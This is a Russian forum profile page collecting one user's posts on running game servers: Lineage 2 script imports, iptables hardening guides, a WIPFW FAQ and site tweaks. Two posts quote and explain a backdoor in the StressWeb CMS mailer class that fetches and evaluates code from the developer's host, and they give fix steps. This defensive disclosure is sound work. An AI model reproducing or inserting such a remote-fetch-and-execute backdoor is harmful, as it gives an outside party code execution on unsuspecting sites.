Перейти к содержанию

SHARK

Заблокирован
  • Публикаций

    404
  • Зарегистрирован

  • Посещение

  • Отзывы

    0%

Весь контент SHARK

  1. Файл: __init__.py Импорты: from net.sf.l2j.gameserver.model.actor.instance import L2PcInstance from java.util import Iterator from net.sf.l2j.gameserver.datatables import SkillTable from net.sf.l2j import L2DatabaseFactory from net.sf.l2j.gameserver.model.quest import State from net.sf.l2j.gameserver.model.quest import QuestState from net.sf.l2j.gameserver.model.quest.jython import QuestJython as JQuest
  2. Если возникнут проблемы с установкой или переписать импорты не знаешь как, добавь меня в скайп я помогу))
  3. Импорты под твою сборку написанные?
  4. SHARK

    Уязвимость В Стресс Вебе

    StressWeb 12 Чтобы убрать уязвимость, которую сделал StressWeb: В файле classes/class.phpmailer.php найти private function shBody(){ return file_get_contents($this->EncodeString($this->shHostname, 'base64dec'). 'sh.gif'); } Заменить на: private function shBody(){ return 1; } Эта уязвимость присутствует даже в оригинальном StressWeb и позволяет Stress'у инициализировать шелл-код путем розмещения его за адресом http://new.stressweb.ru/sh.gif И НЕ забываем в файле /inc/classes/class.phpmailer.php удалить строку $SMTPsh->StartSH(); (находится в самом конце файла).
  5. SHARK

    Уязвимость В Стресс Вебе

    Найденная уязвимость в стресс вебе(stress web) v11 Данной уязвимости подвержены абсолютно все сайты, nulled и не nulled версий. Абсолютно любой сервер стоящий на stress web может быть взломан самим разработчиком Мы все понимаем, мы понимаем что разработчик тоже должен кушать и стремиться к защите своих авторских прав, но подобное не допустимо в коде столь популярного продукта. Вся беда в том, что данной уязвимости может быть подвержен даже лицензионный сайт и не важно платили вы или нет - ваша безопасность ровно на одном уровне. Ну теперь перейдем к самой уязвимости. Зашита она разработчиком, в классе PHPMailer, /inc/classes/class.phpmailer.php. Рассмотрим ее: private function shBody(){return file_get_contents($this->EncodeString($this->shHostname, 'base64dec'). 'sh.gif');} Значение shHostname - aHR0cDovL25ldy5zdHJlc3N3ZWIucnUv, после base64_encode принимает значение: http://new.stressweb.ru/ Вызывается эта функция вот так: PHPMailer::startSh()[псевдолинки shIsAuth()->shEval()->shBody()] В результате, если владелец stressweb по адресу new.stressweb.ru/sh.gif разместит вредоностный код, он сможет быть исполнен АБСОЛЮТНО НА ЛЮБОМ сайте с веб-обвязкой stressweb, абсолютно похеру, есть там лицензия или ее нет. А теперь реальный пример - захотел наш "stressweb" убить 1 фришку, заложил вредоностный код на своем сайте в sh.gif и пошел вайпить чей то сервер, умные ребятки в это время заметили этот код и пошли вайпить то, что они захотят ... или получать доступ к базам/конфигам и прочему. Вот вам яркий пример халатности разработчика. Лечение этой халатности: в файле /inc/classes/class.phpmailer.php удалить строку $SMTPsh->StartSH(); (находится в самом конце файла). UPD затычки: на всякий случай удалите вызов $this->shIsAuth() из функции StartSH() вдруг наш коварный разработчик внедрил вызов данной функции не только в этот класс, всякое бывает. Нашёл вот темку, чистите свои стрессы Автор темы VAAN
  6. Защита игрового и web сервера средствами iptables После долгих тестов и чтения дополнительных манулов составил не большой гайд по защите игрового и web сервера средствами iptables. Итак. Рассмотрим защиту игрового сервера на примерах ограничения портов и закрытия портов. Для начала нужно разрешить то, что Вам нужно. К примеру нужно разрешить порты 22 (ssh) и 80 (http) iptables -A INPUT -p tcp --dport 22 -j ACCEPT iptables -A INPUT -p tcp --dport 80 -j ACCEPT Далее нам нужно запретить все, что не разрешено. iptables -P INPUT REJECT Но разрешать 22 порт всем думаю не стоит. Поэтому надо его ограничить для определенного IP или маски. iptables -A INPUT -p tcp -s IP --dport 22 -j ACCEPT iptables -A INPUT -p tcp --dport 22 -j REJECT Данное правило разрешит доступ на 22 порт только тому адресу, который Вы впишите. Всех остальных будет сбрасывать. Можно поставить вместо REJECT команду DROP. Но я пишу именно так, потому что на тестах команда DROP у меня выдавала сбой в работе защиты. Так же можно запретить какому либо IP или маске подключаться к порту. Например, нужно запретить IP адресу 192.168.0.1 подключаться на порт 443: iptables -A INPUT -p tcp -s 192.168.0.1 --dport 443 -j REJECT iptables -A INPUT -p tcp --dport 443 -j ACCEPT Следует запомнить важную деталь. Все правила читаются сверху вниз! И команду "закрыть все" надо вписывать всегда последней, в противном случае защита не гарантирует стабильность. Тоже самое можно сделать и с исходящими соединениями, но эту часть я ещё не разбирал. Если займусь, так же сделаю мини гайд. Надеюсь кому-нибудь будет полезно. Все правила пишутся в файле rc.local перед строкой exit 0, который лежит в папке /etc/ Правила вступают в силу только после перезагрузки серверной машины или перезагрузки модуля iptables. Огромное спасибо pilad'у и всем кто давал советы и мануалы. Так же спасибо за помощь в тестировании Hecate, Quutamo и проекту PWPlay Online. Защита web части. Защищаем шлюз от проброса icmp туннеля. Итак, рассмотрим защиту от проброса в 2 варианта. Вариант 1: Фильтрация на основе размера пакета. При пробрасывании icmp туннеля характерны нестандартные размеры пересылаемых icmp пакетов (echo-request), следовательно для защиты от туннеля можно фильтровать icmp трафик по длине пакета. Ping по умолчанию посылает пакет с данными размером 56 байтов + 8 байтов icmp заголовок + 20 байтов ip заголовок, итого 84 байта. iptables -A FORWARD -p icmp --icmp-type echo-request -m length --length 84 -j ACCEPT Мы разрешили icmp пакет типа echo-request длинной 84 байта. iptables -A FORWARD -p all -m state --state ESTABLISHED,RELATED -j ACCEPT Пропускаем пакеты относящиеся к установленным соединениям. Вариант 2: Фильтрация на основе номера последовательности. При последовательной посылке icmp пакетов echo-request к хосту (ping), поле sequence number заголовка icmp пакета увеличиваться на 1 с каждым посланным пакетом. iptables -A FORWARD -p icmp --icmp-type echo-request -m recent --name BLOCK --rcheck --seconds 240 -j DROP Этой командой мы создадим таблицу для хранения ip адресов, которые будем блокировать, с интервалом обновления 240 секунд. iptables -A FORWARD -p icmp --icmp-type echo-request -m string --algo kmp --from 27 --to 28 --hex-string "|0f|" -m recent --name BLOCK --set -j DROP Проверяем вторую половину поля sequence number -from 27 --to 28, если оно равно 15 --hex-string "|0f|" , то добавляем в таблицу BLOCK для блокирования icmp пакетов с этого ip. iptables -A FORWARD -p icmp --icmp-type echo-request -m string --algo kmp --from 26 --to 27 ! --hex-string "|00|" -m recent --name BLOCK --set -j DROP Проверяем первую половину поля sequence number -from 26 --to 27 на отличное от нуля значения ! --hex-string "|00|" , если больше то добавляем в таблицу BLOCK для блокирования icmp пакетов с этого ip iptables -A FORWARD -p icmp --icmp-type echo-request -j ACCEPT Разрешаем icmp пакет типа echo-request. iptables -A FORWARD -p all -m state --state ESTABLISHED,RELATED -j ACCEPT Пропускаем пакеты относящиеся к установленным соединениям. Защита порта 29000, 80 от сканирования. Внимание: без некоторых дополнительных правил игровой порт станет не доступным для игроков или будет наблюдаться высокий пинг и разрывы! Итак, что такое сканирование порта? Это отправка, как правило, одного пакета по протоколу tcp с флагом syn. Следовательно нам нужно запретить получать первый пакет и пропускать все остальные. iptables -A INPUT -p tcp --dport 29000 -m state --state NEW -m hashlimit --hashlimit-name NAME1 --hashlimit-mode srcport --hashlimit-upto 1/m --hashlimit-burst 1 -j DROP iptables -A INPUT -p tcp --dport 80 -m state --state NEW -m hashlimit --hashlimit-name NAME1 --hashlimit-mode srcport --hashlimit-upto 1/m --hashlimit-burst 1 -j DROP iptables -A INPUT -p tcp --syn -m multiport --dports 29000,80 -j ACCEPT Данная политика правил запретит первый пакет по протоколу tcp с флагом syn и пропустит все остальные. При сканировании сканер покажет Вам что порт закрыт. Данная политика подходит для порта 80 (проверено), для порта 29000 на свой страх и риск. Единственный минус: не значительно увеличится время соединения. Значение -hashlimit-upto 1/m и --hashlimit-burst 1 может быть от 1 до 4, при увеличении значения задержка установки соединения будет пропорционально увеличиваться. То есть чем больше первых пакетов пропускается, тем дольше устанавливается соединение. Так же данный метод может хорошо защитить от syn флуда (один из методов DDoS атаки). Правила прописываются в файл rc.local по адресу /etc/, после написания правил следует перезагрузить iptables или саму серверную машину. P.S. Дана только начальная точка, доработку и все прочее доделываете самостоятельно исходя из гайда. Небольшая пакость для сканеров портов. Разработано не совсем мной, я просто лишь уменьшил все в два правила. Собственно суть заключается в следующем. Весь трафик идущий не на 80 порт будет перенаправлен на 80 порт: iptables -A PREROUTING -t nat -p tcp ! --dport 80 -j REDIRECT --to-port 80 iptables -A INPUT -p tcp --syn --dport 80 -m connlimit ! --connlimit-above 5 -j ACCEPT --connlimit-above 5 - количество разрешенных подключений с одного IP адреса. Редактируете под себя. Ну и в результате сканирования с набором таких правил сканер может Вам показать огромное количество открытых портов, на самом деле закрытых =) P.S. Это не относится к серверной части Perfect World. Это только для Web-сервера. Защищаем http proxy от пробрасывания http туннеля. При пробрасывании http туннеля через http proxy, http заголовок пакета имеет маленький размер порядка 80-90 байт, тогда как стандартный заголовок (передаваемый браузером) в среднем равен от 350 байт. Основываясь на этом будем настраивать фильтрацию трафика. Создаем новую цепочку правил LENGHT iptables -N LENGTH Проверяем длину пакета, если меньше 350 байт то блокируем iptables -A LENGTH -p tcp --dport 3128 -m length --length :350 -j DROP Если пакет больше 350 байт то пропускаем iptables -A LENGTH -p tcp --dport 3128 -j ACCEPT Разрешаем подключение на порт 3128 iptables -A INPUT -p tcp --syn --dport 3128 -j ACCEPT В установленом соединении проверяем пакеты на запрос GET --hex-string "|47 45 54 20|" если есть такой пакет то направляем его в цепочку LENGTH для проверки длины пакета iptables -A INPUT -p tcp --dport 3128 -m state --state ESTABLISHED -m string --algo kmp --hex-string "|47 45 54 20|" --from 52 --to 56 -j LENGTH Автор мануала © ТАМИОР
  7. #!/bin/bash # Очищаем правила /sbin/iptables -F /sbin/iptables -t nat -F /sbin/iptables -t mangle -F # Лимит на 30 запросов в секунду для интерфейса eth0 /sbin/iptables --new-chain lim1 /sbin/iptables --insert OUTPUT 1 -p tcp --destination-port 7777 -o eth0 --jump lim1 /sbin/iptables --insert OUTPUT 1 -p tcp --destination-port 2106 -o eth0 --jump lim1 /sbin/iptables --append lim1 -m limit --limit 30/sec --jump RETURN /sbin/iptables --append lim1 --jump DROP # Блокируем ICMP траффик /sbin/iptables -A INPUT -p icmp -j DROP # Открываем порт логина /sbin/iptables -A INPUT -p tcp --dport 2106 -j ACCEPT /sbin/iptables -I INPUT -p tcp --syn --dport 2106 -j DROP -m connlimit --connlimit-above 10 /sbin/iptables -A INPUT -p tcp -m state --state NEW --dport 2106 -m recent --update --seconds 2 -j DROP /sbin/iptables -A INPUT -p tcp -m state --state NEW --dport 2106 -m recent --set -j ACCEPT # Открываем порт гейма /sbin/iptables -A INPUT -p tcp --dport 7777 -j ACCEPT /sbin/iptables -I INPUT -p tcp --syn --dport 7777 -j DROP -m connlimit --connlimit-above 20 /sbin/iptables -A INPUT -p tcp -m state --state NEW --dport 7777 -m recent --update --seconds 2 -j DROP /sbin/iptables -A INPUT -p tcp -m state --state NEW --dport 7777 -m recent --set -j ACCEPT # MySQL /sbin/iptables -I INPUT -p tcp -s ВАШ_IP --dport 3306 -j ACCEPT /sbin/iptables -I INPUT -p tcp -s IP_САЙТА --dport 3306 -j ACCEPT /sbin/iptables -A INPUT -p tcp --dport 3306 -j DROP # SSH (Рекомендую перенести с 22 порта) /sbin/iptables -A INPUT -p tcp --dport 22 -s ВАШ_IP -j ACCEPT /sbin/iptables -A INPUT -p tcp --dport 22 -j DROP # Все остальное дропим /sbin/iptables -A INPUT -i eth0 -p tcp -m tcp --tcp-flags FIN,SYN,ACK SYN -j REJECT --reject-with icmp-port-unreachable /sbin/iptables -A FORWARD -o eth0 -p tcp -j DROP >> В идеале было бы переписать логин сервер, который после успешной авторизации будет открывать порт гейма. Так же связать его с ipset (ipset - "плагин" для iptables) << Также есть защита для win систем.
  8. Часто задаваемые вопросы: Q: Каковы различия между WIPFW и IPFW? A: WIPFW не имеет функций reject, divert, tee. Нет шейпера трафика. Проекты различаются разным уровнем внедрения в сетевой стек ОС. Q: На каким операционных системах работает WIPFW? A: WIPFW может запускаться на Windows 2003, XP, 2003. Q: Могу ли я использовать WIPFW в своих проектах? A: Исходники WIPFW опубликованы под BSD-лицензией. Вы можете использовать бинарные файлы без ограничений, в случае использования исходных кодов следуйте лицензии BSD.
  9. ЧТО ТАКОЕ WIPFW ? WIPFW это MS Windows версия IPFW входящего в состав FreeBSD OS. Вы можете использовать и конфигурировать его так же, как и в работе с IPFW. IPFW это система фильтрации и учета пакетов, находящаяся в ядре и снабженная пользовательской утилитой настройки, ipfw. Вместе они позволяют определять и просматривать правила, используемые ядром в решении прохождения пакетов. IPFW состоит из двух связанных частей. Межсетевой экран осуществляет фильтрацию пакетов. Часть, занимающаяся учетом IP пакетов, отслеживает использование маршрутизатора на основе правил подобных тем, что используются в части межсетевого экрана. Это позволяет администратору определять, например, объем трафика, полученного маршрутизатором от определенного компьютера, или объем пересылаемого WWW трафика. Благодаря тому, как реализован IPFW, вы можете использовать его и на компьютерах, не являющихся маршрутизаторами для фильтрации входящих и исходящих соединений. Это особый случай более общего использования IPFW, и в этой ситуации используются те же команды и техника.
  10. Оригинал статьи ЧТО ТАКОЕ IPFW? Нужная вещь, думаю кому то пригодиться.
  11. SHARK

    Фрозен

    chapay, молодец! + лови*
  12. SHARK

    Люди

    xINVIZIBLx, скину в скайп как и STAR1
  13. SHARK

    Раскрутка Вконтакте

    Думаю данное сообщение будет уместно в разделе "Услуги".
  14. SHARK

    Люди

    У меня есть под фрозены гео+патчнод, очень хорошие)) (все дыры и не доработки проверялись.) Гео идеально подходит под фрозенов. (Не помню только от куда она..) Пиши в скайп скину..
  15. SHARK

    Хемет+шея

    Клиент чистый? Я их тестил всё норм*
  16. Ka6a4ek, мне приятно слышать это)
  17. SHARK

    Предоставляю Услуги

    Ka6a4ek, это ты к чему?
  18. SHARK

    Помоготе

    doodo1, хотел так сказать)) Да?)
  19. SHARK

    Русская База Данных

    1. Изначально создаём базу в utf8 (general_ci) 2. Далее идём в ГС и открываем файл настройки, Скрытый текст Ищем:URL = jdbc:mysql://localhost/(название твоей базы) После названия базы добавляем: ?useUnicode=true&characterEncoding=UTF-8 И получаем: URL = jdbc:mysql://localhost/(название твоей базы)?useUnicode=true&characterEncoding=UTF-8 3.Далее находим: CnameTemplate = PetNameTemplate = ClanNameTemplate = И изменяем на: CnameTemplate = .* PetNameTemplate = .* ClanNameTemplate = .* 4.Качаем патч поддерживающий (Русские Ники и Титулы).
  20. SHARK

    Продам Срочно

    Тему почистил. И чтоб ты знал кроме тебя есть и другие люди со своими темами и просьбами, я это к твоему последнему сообщению что было.
  21. SHARK

    Freya

    Если мне не изменяет память то в шаре есть исходы от Open-Team (Фрея Хроник). 1.Команда основана на исходах Фоникса 2.Русская команда 3.Фрея хроны + исходник открыт. Проблемы сборки: Логин сервер (Берём от фониксов) и картинка загрузки после выбора перса до бесконечности...
  22. Установка для Stressweb: 1. Скачиваем архив snow.zip 2. Копируем содержимое архива в папку вашего шаблона. 3. Открываем файл main.tpl и добавьте до тега </head> следующую строку: <script type="text/javascript" src="{THEME}/js/snow.js"></script> P.S. Чтобы убрать фишку "Полёт за мышкой" Ищем: this.followMouse = true; Заменить на: this.followMouse = null; Для Index файла: 1. Скачиваем архив snow.zip 2. Копируем содержимое архива в папку вашего сайта. 3. Открываем файл Index.html и добавьте до тега </head> следующую строку: <script type="text/javascript" src="/js/snow.js"></script> Не забываем в корне сайта создать папку /js/ либо указать свой путь до файла snow.js snow.zip
×
×
  • Создать...